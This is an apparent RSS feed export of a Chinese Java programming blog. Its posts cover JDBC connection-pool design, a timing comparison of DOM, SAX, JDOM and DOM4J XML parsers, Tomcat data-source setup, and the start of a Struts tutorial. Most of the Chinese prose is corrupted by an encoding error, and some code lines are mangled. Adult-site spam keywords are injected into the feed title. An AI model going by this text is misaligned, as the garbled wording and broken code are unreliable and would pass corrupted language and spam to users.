??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲成av人片在线观看www,麻豆网站在线免费观看,a亚洲天堂avhttp://www.aygfsteel.com/frankboy/zh-cnWed, 18 Jun 2025 16:07:59 GMTWed, 18 Jun 2025 16:07:59 GMT60JDBC数据库连接池http://www.aygfsteel.com/frankboy/archive/2006/08/28/66139.htmlfrankboyfrankboyMon, 28 Aug 2006 03:48:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/08/28/66139.htmlhttp://www.aygfsteel.com/frankboy/comments/66139.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/08/28/66139.html#Feedback1http://www.aygfsteel.com/frankboy/comments/commentRss/66139.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/66139.html数据?/a>的基本原?

  在Java语言中,JDBCQJava DataBase ConnectionQ是应用E序与数据库沟通的桥梁,

  即Java语言通过JDBC技术访问数据库。JDBC是一U“开䏀的Ҏ(gu)Q它为数据库应用开发h员﹑数据库前台工具开发h员提供了一U标准的应用E序设计接口Q开发h员可以用UJava语言~写完整的数据库应用E序。JDBC提供两种APIQ分别是面向开发h员的API和面向底层的JDBC驱动E序APIQ底层主要通过直接的JDBC驱动和JDBC-ODBC桥驱动实C数据库的q接?/p>

  一般来_Java应用E序讉K数据库的q程Q如?所C)是:

  ①装载数据库驱动E序Q?/p>

  ②通过JDBC建立数据库连接;

  ③访问数据库Q执行SQL语句Q?/p>

  ④断开数据库连接?/p>


? Java数据库访问机?/div>
  JDBC作ؓ一U数据库讉K技术,h单易用的优点。但使用q种模式q行W(xu)eb应用
  E序开发,存在很多问题Q首先,每一ơWebh都要建立一ơ数据库q接。徏立连接是一个费时的zdQ每ơ都得花?.05s?s的时_而且pȝq要分配内存资源。这个时间对于一ơ或几次数据库操作,或许感觉不出pȝ有多大的开销。可是对于现在的Web应用Q尤其是大型?sh)子商务|站Q同时有几百人甚臛_千h在线是很正常的事。在q种情况下,频繁的进行数据库q接操作势必占用很多的系l资源,|站的响应速度必定下降Q严重的甚至会造成服务器的崩溃。不是危a耸听Q这是制约某些?sh)子商务|站发展的技术瓶颈问题。其ơ,对于每一ơ数据库q接Q用完后都得断开。否则,如果E序出现异常而未能关闭,会D数据库系l中的内存泄漏,最l将不得不重启数据库。还有,q种开发不能控制被创徏的连接对象数Q系l资源会被毫无顾及的分配出去Q如q接q多Q也可能D内存泄漏Q服务器崩溃?/div>
 
  数据库连接池Qconnection poolQ的工作原理
  1、基本概念及原理
  ׃面的分析可以看出Q问题的Ҏ(gu)在于对数据库连接资源的低效理。我们知道,
  对于׃n资源Q有一个很著名的设计模式:资源池(Resource PoolQ。该模式正是Z解决资源的频J分配﹑释放所造成的问题。ؓ解决上述问题Q可以采用数据库q接池技术。数据库q接池的基本思想是为数据库q接建立一个“缓冲池”。预先在~冲池中攑օ一定数量的q接Q当需要徏立数据库q接Ӟ只需从“缓冲池”中取出一个,使用完毕之后再放回去。我们可以通过讑֮q接池最大连接数来防止系l无的与数据库q接。更为重要的是我们可以通过q接池的理机制监视数据库的q接的数量﹑使用情况Qؓpȝ开发﹑试及性能调整提供依据。连接池的基本工作原理见下图2?/div>

? q接池的基本工作原理
  2、服务器自带的连接池
  JDBC的API中没有提供连接池的方法。一些大型的WEB应用服务器如BEA的WebLogic和IBM的WebSphere{提供了q接池的机制Q但是必L其第三方的专用类Ҏ(gu)支持q接池的用法?/div>
  q接池关键问题分?/div>
  1、ƈ发问?/div>
  Z使连接管理服务具有最大的通用性,必须考虑多线E环境,卛_ƈ发问题。这个问题相Ҏ(gu)较好解决Q因为Java语言自n提供了对q发理的支持,使用synchronized关键字即可确保线E是同步的。用方法ؓ直接在类Ҏ(gu)前面加上synchronized关键字,如:
public synchronized Connection getConnectionQ)
  2、多数据库服务器和多用户
  对于大型的企业应用Q常帔R要同时连接不同的数据库(如连接Oracle和SybaseQ。如何连接不同的数据库呢Q我们采用的{略是:设计一个符合单例模式的q接池管理类Q在q接池管理类的唯一实例被创建时d一个资源文Ӟ其中资源文g中存攄多个数据库的url地址Q?lt;poolName.url>Q﹑用户名(<poolName.user>Q﹑密码Q?lt;poolName.password>Q等信息。如tx.url=172.21.15.123Q?000/tx_itQtx.user=yangQtx.password=yang321。根据资源文件提供的信息Q创建多个连接池cȝ实例Q每一个实例都是一个特定数据库的连接池。连接池理cd例ؓ每个q接池实例取一个名字,通过不同的名字来理不同的连接池?/div>
  对于同一个数据库有多个用户用不同的名称和密码访问的情况Q也可以通过资源文g处理Q即在资源文件中讄多个h相同url地址Q但h不同用户名和密码的数据库q接信息?/div>
  3、事务处?/div>
  我们知道Q事务具有原子性,此时要求Ҏ(gu)据库的操作符合“ALL-ALL-NOTHING”原?卛_于一lSQL语句要么全做Q要么全不做?/div>
  在Java语言中,ConnectioncLw提供了对事务的支持Q可以通过讄Connection的AutoCommit属性ؓfalse,然后昑ּ的调用commit或rollbackҎ(gu)来实现。但要高效的q行Connection复用Q就必须提供相应的事务支持机制。可采用每一个事务独占一个连接来实现Q这U方法可以大大降低事务管理的复杂性?/div>
  4、连接池的分配与释放
  q接池的分配与释放,对系l的性能有很大的影响。合理的分配与释放,可以提高q接的复用度Q从而降低徏立新q接的开销Q同时还可以加快用户的访问速度?/div>
  对于q接的管理可使用I闲池。即把已l创Z未分配出去的连接按创徏旉存放C个空闲池中。每当用戯求一个连接时Q系l首先检查空闲池内有没有I闲q接。如果有把建立旉最长(通过容器的顺序存攑֮玎ͼ的那个连接分配给他(实际是先做连接是否有效的判断Q如果可用就分配l用P如不可用把q个q接从空闲池删掉Q重新检空闲池是否q有q接Q;如果没有则检查当前所开q接池是否达到连接池所允许的最大连接数QmaxConnQ?如果没有辑ֈQ就新徏一个连接,如果已经辑ֈQ就{待一定的旉QtimeoutQ。如果在{待的时间内有连接被释放出来可以把q个q接分配l等待的用户Q如果等待时间超q预定时间timeout,则返回空|nullQ。系l对已经分配出去正在使用的连接只做计敎ͼ当用完后再q还l空闲池。对于空闲连接的状态,可开辟专门的U程定时,q样会花费一定的pȝ开销Q但可以保证较快的响应速度。也可采取不开辟专门线E,只是在分配前的Ҏ(gu)?/div>
  5、连接池的配|与l护
  q接池中到底应该攄多少q接Q才能ɾpȝ的性能最佻Ipȝ可采取设|最连接数QminConnQ和最大连接数QmaxConnQ来控制q接池中的连接。最连接数是系l启动时q接池所创徏的连接数。如果创多,则系l启动就慢,但创建后pȝ的响应速度会很快;如果创徏q少Q则pȝ启动的很快,响应h却慢。这P可以在开发时Q设|较?yu)的最连接数Q开发v来会快,而在pȝ实际使用时设|较大的Q因样对讉K客户来说速度会快些。最大连接数是连接池中允许连接的最大数目,具体讄多少Q要看系l的讉K量,可通过反复试Q找到最佳点?/div>
  如何保q接池中的最连接数呢?有动态和静态两U策略。动态即每隔一定时间就对连接池q行,如果发现q接数量于最连接数Q则补充相应数量的新q接,以保证连接池的正常运转。静态是发现I闲q接不够时再L查?/div>
 
  q接池的实现
  1、连接池模型
  本文讨论的连接池包括一个连接池c(DBConnectionPoolQ和一个连接池理c(DBConnetionPoolManagerQ。连接池cLҎ(gu)一数据库所有连接的“缓冲池”,主要实现以下功能Q①从连接池获取或创建可用连接;②用完毕之后,把连接返q给q接池;③在pȝ关闭前,断开所有连接ƈ释放q接占用的系l资源;④还能够处理无效q接Q原来登Cؓ可用的连接,׃某种原因不再可用Q如时Q通讯问题Q,q能够限制连接池中的q接L不低于某个预定值和不超q某个预定倹{?/div>
  q接池管理类是连接池cȝ外覆c(wrapperQ?W合单例模式Q即pȝ中只能有一个连接池理cȝ实例。其主要用于对多个连接池对象的管理,h以下功能Q①装蝲q注册特定数据库的JDBC驱动E序Q②Ҏ(gu)属性文件给定的信息Q创接池对象Q③为方便管理多个连接池对象Qؓ每一个连接池对象取一个名字,实现q接池名字与其实例之间的映射Q④跟踪客户使用q接情况Q以侉K要是关闭q接释放资源。连接池理cȝ引入主要是ؓ了方便对多个q接池的使用和管理,如系l需要连接不同的数据库,或连接相同的数据库但׃安全性问题,需要不同的用户使用不同的名U和密码?/div>
  2、连接池实现
  下面l出q接池类和连接池理cȝ主要属?br />及所要实现的基本接口Q?
public class DBConnectionPool implements TimerListener{
private int checkedOut;//已被分配出去的连接数
private ArrayList freeConnections = new ArrayList();//容器Q空闲池Q根?/创徏旉序存放已创Z未分配出去的连?br />private int minConn;//q接池里q接的最数?br />private int maxConn;//q接池里允许存在的最大连接数
private String name;//个连接池取个名字Q方便管?br />private String password;//q接数据库时需要的密码
private String url;//所要创接的数据库的地址
private String user;//q接数据库时需要的用户?br />public Timer timer;//定时?br />public DBConnectionPool(String name, String URL, String user, String
password, int maxConn)//公开的构造函?br />public synchronized void freeConnection(Connection con) //使用完毕之后Q?/把连接返q给I闲?br />public synchronized Connection getConnection(long timeout)//得到一个连接,//timeout是等待时?br />public synchronized void release()//断开所有连接,释放占用的系l资?br />private Connection newConnection()//新徏一个数据库q接
public synchronized void TimerEvent() //定时器事件处理函?/div>
}
public class DBConnectionManager {
static private DBConnectionManager instance;//q接池管理类的唯一实例
static private int clients;//客户数量
private ArrayList drivers = new ArrayList();//容器Q存放数据库驱动E序
private HashMap pools = new HashMap ();//以name/value的Ş式存取连接池//对象的名字及q接池对?br />static synchronized public DBConnectionManager getInstance()//如果唯一?/实例instance已经创徏Q直接返回这个实?否则Q调用私有构造函敎ͼ?/接池理cȝ唯一实例
private DBConnectionManager()//U有构造函?在其中调用初始化函数init()
public void freeConnection(String name, Connection con)// 释放一个连接,//name是一个连接池对象的名?/div>
public Connection getConnection(String name)//从名字ؓname的连接池对象//中得C个连?/div>
public Connection getConnection(String name, long time)//从名字ؓname
//的连接池对象中取得一个连接,time是等待时?/div>
public synchronized void release()//释放所有资?/div>
private void createPools(Properties props)//Ҏ(gu)属性文件提供的信息Q创?/一个或多个q接?/div>
private void init()//初始化连接池理cȝ唯一实例Q由U有构造函数调?/div>
private void loadDrivers(Properties props)//装蝲数据库驱动程?/div>
  3、连接池使用
  上面所实现的连接池在程序开发时如何应用到系l中呢?下面以ServletZ说明q接池的使用?/div>
  Servlet的生命周期是Q在开始徏立servletӞ调用其初始化QinitQ方法。之后每个用戯求都D一个调用前面徏立的实例的serviceҎ(gu)的线E。最后,当服务器军_卸蝲一个servletӞ它首先调用该servlet?destroyҎ(gu)?/div>
  Ҏ(gu)servlet的特点,我们可以在初始化函数中生成连接池理cȝ唯一实例Q其中包括创Z个或多个q接池)。如Q?/div>
public void init() throws ServletException
{
 connMgr = DBConnectionManager.getInstance();
  然后可以在serviceҎ(gu)中通过q接池名UC用连接池Q执行数据库操作。最后在destroyҎ(gu)中释攑֍用的pȝ资源Q如Q?
public void destroy() {
 connMgr.release(); super.destroy();
}
  l束?/div>
  在用JDBCq行与数据库有关的应用开发中Q数据库q接的管理是一个难炏V很多时候,q接的؜q理所造成的系l资源开销q大成ؓ制约大型企业U应用效率的瓉。对于众多用戯问的Web应用Q采用数据库q接技术的pȝ在效率和E_性上比采用传l的其他方式的系l要好很多。本文阐qC使用JDBC讉K数据库的技术﹑讨论了基于连接池技术的数据库连接管理的关键问题q给Z一个实现模型。文章所l出的是q接池管理程序的一U基本模式,为提高系l的整体性能Q在此基上还可以q行很多有意义的扩展?/div>/DIV>


frankboy 2006-08-28 11:48 发表评论
]]>XML解析技术分析(转蝲Q?/title><link>http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Sun, 20 Aug 2006 04:34:00 GMT</pubDate><guid>http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html</guid><wfw:comment>http://www.aygfsteel.com/frankboy/comments/64601.html</wfw:comment><comments>http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/frankboy/comments/commentRss/64601.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/frankboy/services/trackbacks/64601.html</trackback:ping><description><![CDATA[ <table cellspacing="0" cellpadding="2" width="95%" align="center" bgcolor="#009ace" border="0"> <tbody> <tr> <td class="TdBorderRB"> <div align="center"> <strong>Java中四UXML解析技术之不完全测?/strong> </div> </td> </tr> </tbody> </table> <table cellspacing="0" cellpadding="0" width="95%" align="center" border="0"> <tbody> <tr> <td height="30"> <div align="center">作者:未知 来源Q未?加入旉Q?004-11-1 天新软g?/div> </td> </tr> <tr> <td valign="top">在^时工作中Q难免会遇到?XML 作ؓ数据存储格式。面对目前种cȝ多的解决Ҏ(gu)Q哪个最适合我们呢?在这文章中Q我对这四种LҎ(gu)做一个不完全评测Q仅仅针寚w?XML q块来测试,因ؓ遍历 XML 是工作中使用最多的Q至我认ؓQ?<br /><br />  ??br /><br />  试环境Q?br /><br />  AMD 毒龙1.4G OC 1.5G?56M DDR333、Windows2000 Server SP4、Sun JDK 1.4.1+Eclipse 2.1+Resin 2.1.8Q在 Debug 模式下测试?br /><br />  XML 文g格式如下Q?br /><br />Q?xml version="1.0" encoding="GB2312"?Q?br />QRESULTQ?br /> QVALUEQ?br />  QNOQA1234Q?NOQ?br />  QADDRQ四川省XX县XX镇XX路XDXXP/ADDRQ?br /> Q?VALUEQ?br /> QVALUEQ?br />  QNOQB1234Q?NOQ?br />  QADDRQ四川省XX市XX乡XX村XXl</ADDRQ?br /> Q?VALUEQ?br />Q?RESULTQ?<br /><br />  试Ҏ(gu)Q?br /><br />  采用 JSP 端调用BeanQ至于ؓ什么采用JSP来调用,请参考:http://blog.csdn.net/rosen/archive/2004/10/15/138324.aspxQ,让每一U方案分别解?0K?00K?000K?0000K?XML 文gQ计其消耗时_单位:毫秒Q?br /><br />  JSP 文gQ?br /><br />Q?@ page contentType="text/html; charset=gb2312" %Q?br />Q?@ page import="com.test.*"%Q?br /><br />QhtmlQ?br />QbodyQ?br />Q?<br />String args[]={""};<br />MyXMLReader.main(args);<br />%Q?br />Q?bodyQ?br />Q?htmlQ?<br /><br />  ??br /><br />  首先出场的是 DOMQJAXP Crimson 解析器) <br /><br />  DOM 是用与^台和语言无关的方式表C?XML 文档的官?W3C 标准。DOM 是以层次l构l织的节Ҏ(gu)信息片断的集合。这个层ơ结构允许开发h员在树中L特定信息。分析该l构通常需要加载整个文档和构造层ơ结构,然后才能做Q何工作。由于它是基于信息层ơ的Q因?DOM 被认为是Z树或Z对象的。DOM 以及q义的基于树的处理具有几个优炏V首先,׃树在内存中是持久的,因此可以修改它以便应用程序能Ҏ(gu)据和l构作出更改。它q可以在M时候在树中上下DQ而不是像 SAX 那样是一ơ性的处理。DOM 使用h也要单得多?br /><br />  另一斚wQ对于特别大的文档,解析和加载整个文档可能很慢且很耗资源,因此使用其他手段来处理这L数据会更好。这些基于事件的模型Q比?SAX?br /><br />  Bean文gQ?br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.w3c.dom.*;<br />import javax.xml.parsers.*;<br /><br />public class MyXMLReader{<br /><br /> public static void main(String arge[]){<br />  long lasting =System.currentTimeMillis();<br />  try{ <br />   File f=new File("data_10k.xml");<br />   DocumentBuilderFactory factory=DocumentBuilderFactory.newInstance();<br />   DocumentBuilder builder=factory.newDocumentBuilder();<br />   Document doc = builder.parse(f);<br />   NodeList nl = doc.getElementsByTagName("VALUE");<br />   for (int i=0;iQnl.getLength();i++){<br />    System.out.print("车牌L:" + doc.getElementsByTagName("NO").item(i).getFirstChild().getNodeValue());<br />    System.out.println(" 车主地址:" + doc.getElementsByTagName("ADDR").item(i).getFirstChild().getNodeValue());<br />  }<br />  }catch(Exception e){<br />   e.printStackTrace();<br />  }<br />  System.out.println("q行旉Q?+(System.currentTimeMillis() - lasting)+" 毫秒");<br /> }<br />} <br /><br />  10k消耗时_265 203 219 172<br />  100k消耗时_9172 9016 8891 9000<br />  1000k消耗时_691719 675407 708375 739656<br />  10000k消耗时_OutOfMemoryError<br /><br />  接着?SAX<br /><br />  q种处理的优炚w常类g媒体的优点。分析能够立卛_始,而不是等待所有的数据被处理。而且Q由于应用程序只是在d数据时检查数据,因此不需要将数据存储在内存中。这对于大型文档来说是个巨大的优炏V事实上Q应用程序甚至不必解析整个文档;它可以在某个条g得到满时停止解析。一般来_SAX q比它的替代?DOM 快许多?br /><br />选择 DOM q是选择 SAX Q?br /><br />  对于需要自q写代码来处理 XML 文档的开发h员来_  <br /><br /><br />   <br /><br /><br />选择 DOM q是 SAX 解析模型是一个非帔R要的设计决策?<br /><br />  DOM 采用建立树Şl构的方式访?XML 文档Q?SAX 采用的事件模型?<br /><br />  DOM 解析器把 XML 文档转化Z个包含其内容的树Qƈ可以Ҏ(gu)q行遍历。用 DOM 解析模型的优Ҏ(gu)~程Ҏ(gu)Q开发h员只需要调用徏树的指oQ然后利用navigation APIs讉K所需的树节点来完成Q务。可以很Ҏ(gu)的添加和修改树中的元素。然而由于?DOM 解析器的时候需要处理整?XML 文档Q所以对性能和内存的要求比较高,其是遇到很大的 XML 文g的时候。由于它的遍历能力,DOM 解析器常用于 XML 文档需要频J的改变的服务中?<br /><br />  SAX 解析器采用了Z事g的模型,它在解析 XML 文档的时候可以触发一pd的事Ӟ当发现给定的tag的时候,它可以激zM个回调方法,告诉该方法制定的标签已经扑ֈ。SAX 对内存的要求通常会比较低Q因为它让开发h员自己来军_所要处理的tag。特别是当开发h员只需要处理文档中所包含的部分数据时QSAX q种扩展能力得到了更好的体现。但?SAX 解析器的时候编码工作会比较困难Q而且很难同时讉K同一个文档中的多处不同数据?<br /><br />  Bean文gQ?br /><br /><br /><br />package com.test;<br />import org.xml.sax.*;<br />import org.xml.sax.helpers.*;<br />import javax.xml.parsers.*;<br /><br />public class MyXMLReader extends DefaultHandler {<br /><br /> java.util.Stack tags = new java.util.Stack();<br /><br /> public MyXMLReader() {<br />  super();<br /> }<br /><br /> public static void main(String args[]) {<br />  long lasting = System.currentTimeMillis();<br />  try {<br />   SAXParserFactory sf = SAXParserFactory.newInstance();<br />   SAXParser sp = sf.newSAXParser();<br />   MyXMLReader reader = new MyXMLReader();<br />   sp.parse(new InputSource("data_10k.xml"), reader);<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br />  System.out.println("q行旉Q? + (System.currentTimeMillis() - lasting) + " 毫秒");<br /> }<br /><br /> public void characters(char ch[], int start, int length) throws SAXException {<br />  String tag = (String) tags.peek();<br />  if (tag.equals("NO")) { <br />   System.out.print("车牌LQ? + new String(ch, start, length));<br /> }<br /> if (tag.equals("ADDR")) {<br />  System.out.println(" 地址:" + new String(ch, start, length));<br /> }<br />}<br /><br />public void startElement(<br /> String uri,<br /> String localName,<br /> String qName,<br /> Attributes attrs) {<br />  tags.push(qName);<br /> }<br />} <br /><br /><br /><br />  10k消耗时_110 47 109 78<br />  100k消耗时_344 406 375 422<br />  1000k消耗时_3234 3281 3688 3312<br />  10000k消耗时_32578 34313 31797 31890 30328<br /><br />  然后?JDOM http://www.jdom.org/<br /><br />  JDOM 的目的是成ؓ Java 特定文档模型Q它化与 XML 的交互ƈ且比使用 DOM 实现更快。由于是W一?Java 特定模型QJDOM 一直得到大力推q和促进。正在考虑通过“Java 规范h JSR-102”将它最l用作“Java 标准扩展”。从 2000 q初已l开始了 JDOM 开发?br /><br />  JDOM ?DOM 主要有两斚w不同。首先,JDOM 仅用具体类而不使用接口。这在某些方面简化了 APIQ但是也限制了灵zL。第二,API 大量使用?Collections c,化了那些已经熟?zhn)q些cȝ Java 开发者的使用?br /><br />  JDOM 文档声明其目的是“?20%Q或更少Q的_֊解决 80%Q或更多QJava/XML 问题”(Ҏ(gu)学习曲线假定?20%Q。JDOM 对于大多?Java/XML 应用E序来说当然是有用的Qƈ且大多数开发者发?API ?DOM Ҏ(gu)理解得多。JDOM q包括对E序行ؓ的相当广泛检查以防止用户做Q何在 XML 中无意义的事。然而,它仍需要?zhn)充分理?XML 以便做一些超出基本的工作Q或者甚至理解某些情况下的错误)。这也许是比学习 DOM ?JDOM 接口都更有意义的工作?br /><br />  JDOM 自n不包含解析器。它通常使用 SAX2 解析器来解析和验证输?XML 文档Q尽它q可以将以前构造的 DOM 表示作ؓ输入Q。它包含一些{换器以将 JDOM 表示输出?SAX2 事g、DOM 模型?XML 文本文档。JDOM 是在 Apache 许可证变体下发布的开放源码?br /><br />  Bean文gQ?br /><br /><br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.jdom.*;<br />import org.jdom.input.*;<br /><br />public class MyXMLReader {<br /><br /> public static void main(String arge[]) {<br />  long lasting = System.currentTimeMillis();<br />  try {<br />   SAXBuilder builder = new SAXBuilder(); <br />   Document doc = builder.build(new File("data_10k.xml")); <br />   Element foo = doc.getRootElement(); <br />   List allChildren = foo.getChildren(); <br />   for(int i=0;iQallChildren.size();i++) { <br />    System.out.print("车牌L:" + ((Element)allChildren.get(i)).getChild("NO").getText());<br />    System.out.println(" 车主地址:" + ((Element)allChildren.get(i)).getChild("ADDR").getText());<br />   }<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br />  System.out.println("q行旉Q? + (System.currentTimeMillis() - lasting) + " 毫秒");<br /> }<br />} <br /><br /><br /><br />  10k消耗时_125 62 187 94<br />  100k消耗时_704 625 640 766<br />  1000k消耗时_27984 30750 27859 30656<br />  10000k消耗时_OutOfMemoryError<br /><br />  最后是 DOM4J http://dom4j.sourceforge.net/<br /><br />  虽然 DOM4J 代表了完全独立的开发结果,但最初,它是 JDOM 的一U智能分支。它合ƈ了许多超出基?XML 文档表示的功能,包括集成?XPath 支持、XML Schema 支持以及用于大文档或化文档的基于事件的处理。它q提供了构徏文档表示的选项Q它通过 DOM4J API 和标?DOM 接口hq行讉K功能。从 2000 下半q开始,它就一直处于开发之中?br /><br />  为支持所有这些功能,DOM4J 使用接口和抽象基本类Ҏ(gu)。DOM4J 大量使用?API 中的 Collections c,但是在许多情况下Q它q提供一些替代方法以允许更好的性能或更直接的编码方法。直接好处是Q虽?DOM4J 付出了更复杂?API 的代P但是它提供了?JDOM 大得多的灉|性?br /><br />  在添加灵zL、XPath 集成和对大文档处理的目标ӞDOM4J 的目标与 JDOM 是一LQ针?Java 开发者的易用性和直观操作。它q致力于成ؓ?JDOM 更完整的解决Ҏ(gu)Q实现在本质上处理所?Java/XML 问题的目标。在完成该目标时Q它?JDOM 更少防止不正的应用E序行ؓ?br /><br />  DOM4J 是一个非帔R怼U的Java XML APIQ具有性能优异、功能强大和极端易用使用的特点,同时它也是一个开放源代码的Y件。如今你可以看到来多?Java 软g都在使用 DOM4J 来读?XMLQ特别值得一提的是连 Sun ?JAXM 也在?DOM4J?br /><br />  Bean文gQ?br /><br /><br /><br />package com.test;<br /><br />import java.io.*;<br />import java.util.*;<br />import org.dom4j.*;<br />import org.dom4j.io.*;<br /><br />public class MyXMLReader {<br /><br /> public static void main(String arge[]) {<br />  long lasting = System.currentTimeMillis();<br />  try {<br />   File f = new File("data_10k.xml");<br />   SAXReader reader = new SAXReader();<br />   Document doc = reader.read(f);<br />   Element root = doc.getRootElement();<br />   Element foo;<br />   for (Iterator i = root.elementIterator("VALUE"); i.hasNext();) {<br />    foo = (Element) i.next();<br />    System.out.print("车牌L:" + foo.elementText("NO"));<br />    System.out.println(" 车主地址:" + foo.elementText("ADDR"));<br />   }<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br />  System.out.println("q行旉Q? + (System.currentTimeMillis() - lasting) + " 毫秒");<br /> }<br />} <br /><br /><br /><br />  10k消耗时_109 78 109 31<br />  100k消耗时_297 359 172 312<br />  1000k消耗时_2281 2359 2344 2469<br />  10000k消耗时_20938 19922 20031 21078<br /><br />  JDOM ?DOM 在性能试时表C佻I在测?10M 文档时内存溢出。在文档情况下q值得考虑使用 DOM ?JDOM。虽?JDOM 的开发者已l说明他们期望在正式发行版前专注性能问题Q但是从性能观点来看Q它实没有值得推荐之处。另外,DOM 仍是一个非常好的选择。DOM 实现q泛应用于多U编E语a。它q是许多其它?XML 相关的标准的基础Q因为它正式获得 W3C 推荐Q与Z非标准的 Java 模型相对Q,所以在某些cd的项目中可能也需要它Q如?JavaScript 中?DOMQ?br /><br />  SAX表现较好Q这要依赖于它特定的解析方式。一?SAX 即到来的XML,但ƈ没有载入到内存(当然当XML被dӞ会有部分文档暂时隐藏在内存中Q?br /><br />  无疑QDOM4J是这场测试的莯者,目前许多开源项目中大量采用 DOM4JQ例如大名鼎鼎的 Hibernate 也用 DOM4J 来读?XML 配置文g。如果不考虑可移植性,那就采用DOM4J吧!</td> </tr> </tbody> </table> <img src ="http://www.aygfsteel.com/frankboy/aggbug/64601.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/frankboy/" target="_blank">frankboy</a> 2006-08-20 12:34 <a href="http://www.aygfsteel.com/frankboy/archive/2006/08/20/64601.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TOMCAT中数据库q接池的配置http://www.aygfsteel.com/frankboy/archive/2006/01/12/27750.htmlfrankboyfrankboyThu, 12 Jan 2006 06:20:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/01/12/27750.htmlhttp://www.aygfsteel.com/frankboy/comments/27750.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/01/12/27750.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/27750.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/27750.html2Q在server.xml中设|数据源Q以MySQL数据库ؓ例,如下Q?BR>?lt;GlobalNamingResources> </GlobalNamingResources>节点中加入,
      <Resource
      name="jdbc/DBPool"
      type="javax.sql.DataSource"
      password="root"
      driverClassName="com.mysql.jdbc.Driver"
      maxIdle="2"
      maxWait="5000"
      username="root"
      url="jdbc:mysql://127.0.0.1:3306/test"
      maxActive="4"/>
   属性说明:nameQ数据源名称Q通常取”jdbc/XXX”的格式Q?BR>            typeQ”javax.sql.DataSource?
            passwordQ数据库用户密码Q?BR>            driveClassNameQ数据库驱动Q?BR>            maxIdleQ最大空闲数Q数据库q接的最大空闲时间。超q空闲时_数据库连
                     接将被标Cؓ不可用,然后被释放。设?表示无限制?BR>            MaxActiveQ连接池的最大数据库q接数。设?表示无限制?BR>            maxWait Q最大徏立连接等待时间。如果超q此旉接到异常。设?1表示
                     无限制?BR>3Q在你的web应用E序的web.xml中设|数据源参考,如下Q?BR>  ?lt;web-app></web-app>节点中加入,
  <resource-ref>
    <description>MySQL DB Connection Pool</description>
    <res-ref-name>jdbc/DBPool</res-ref-name>
    <res-type>javax.sql.DataSource</res-type>
    <res-auth>Container</res-auth>
    <res-sharing-scope>Shareable</res-sharing-scope>
 </resource-ref>
  子节点说明: descriptionQ描qC息;
               res-ref-nameQ参考数据源名字Q同上一步的属性nameQ?BR>               res-typeQ资源类型,”javax.sql.DataSource”;
               res-authQ”Container”;
               res-sharing-scopeQ”Shareable”;
4Q在web应用E序的context.xml中设|数据源链接Q如下:
  ?lt;Context></Context>节点中加入,
  <ResourceLink
   name="jdbc/DBPool" 
   type="javax.sql.DataSource" 
   global="jdbc/DBPool"/>
   属性说明:nameQ同W?步和W?步的属性name|和子节点res-ref-name|
             typeQ同样取”javax.sql.DataSource”;
             globalQ同name倹{?BR> 
xQ设|完成,下面是如何用数据库q接池?BR>1Q徏立一个连接池c,DBPool.javaQ用来创接池Q代码如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;

public class DBPool {
    private static DataSource pool;
    static {
         Context env = null;
          try {
              env = (Context) new InitialContext().lookup("java:comp/env");
              pool = (DataSource)env.lookup("jdbc/DBPool");
              if(pool==null) 
                  System.err.println("'DBPool' is an unknown DataSource");
               } catch(NamingException ne) {
                  ne.printStackTrace();
          }
      }
    public static DataSource getPool() {
        return pool;
    }
}

2Q在要用到数据库操作的类或jsp面中,用DBPool.getPool().getConnection()Q获得一个Connection对象Q就可以q行数据库操作,最后别忘了对Connection对象调用close()Ҏ(gu)Q注意:q里不会关闭q个ConnectionQ而是这个Connection攑֛数据库连接池?BR>

frankboy 2006-01-12 14:20 发表评论
]]>
Struts初步知识http://www.aygfsteel.com/frankboy/archive/2006/01/10/27388.htmlfrankboyfrankboyTue, 10 Jan 2006 06:59:00 GMThttp://www.aygfsteel.com/frankboy/archive/2006/01/10/27388.htmlhttp://www.aygfsteel.com/frankboy/comments/27388.htmlhttp://www.aygfsteel.com/frankboy/archive/2006/01/10/27388.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/27388.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/27388.html1.如何安装StrutsQ?
    首先?A >http://jakarta.apache.org/Struts下蝲StrutsQ徏议用release版,现在最高版本ؓ1.2.6Q有多种OS版本(windows,linus...),下蝲后解压开来,可以看到q个目录Qlib和webappsQwebapps下有一些WAR文g。假设你的Tomcat装在c:Tomcat下,则将那些WAR文g拯到C:TomcatwebappsQ重新启动Tomcat卛_。打开览器,在地址栏中输入Q?A href="http://localhost:8080/Struts-example/index.jsp">http://localhost:8080/Struts-example/index.jspQ若能见到“powered by Struts”的p色图标,卌明成功了。这是Struts自带的一个例子,附有详细的说明文档,可以做ؓ初学者的入门教程。另外,Strutsq提供了一pȝ实用对象QXML处理、通过Java reflection APIs自动处理JavaBeans属性、国际化的提C和消息{?


2.l习做一个实例:
    一个用h册系l,用户通过|页输入相关信息Q注册IDP密码QEMAILQ若注册成功Q则q回成功提示信息Q反之出现注册失败提CZ息?
以下是相x件的部分核心代码?


目建立Q?
正式开发前Q需要在TocmatQ我的tomcat装在c: omcatQ中建立此项目。比较快的一U徏立方式ؓQ在C: omcatwebapps下新建目录testQ再C: omcatwebappsstruts-example下的
